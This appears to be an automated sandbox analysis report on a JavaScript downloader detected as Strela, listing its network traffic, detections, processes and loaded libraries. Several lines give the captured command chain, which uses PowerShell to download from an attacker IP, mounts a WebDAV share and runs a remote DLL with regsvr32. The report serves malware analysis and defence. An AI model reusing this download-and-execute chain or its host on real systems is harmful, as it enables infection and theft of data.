Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2049236621.000001F9CEFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2111021097.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107442622.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106834130.0000025C611CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/E
Source: net.exe, 00000007.00000002.2111021097.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107442622.0000025C611AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/OF
Source: net.exe, 00000007.00000002.2110931539.0000025C61180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tsvcs
Source: svchost.exe, 00000009.00000002.3336439616.0000012A7DE00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2110763585.0000012A7DC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4688, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7654219842078021961.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yub2c412.jem.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7654219842078021961.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7654219842078021961.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,10370228529701564776,12005692923308842787,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,10370228529701564776,12005692923308842787,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
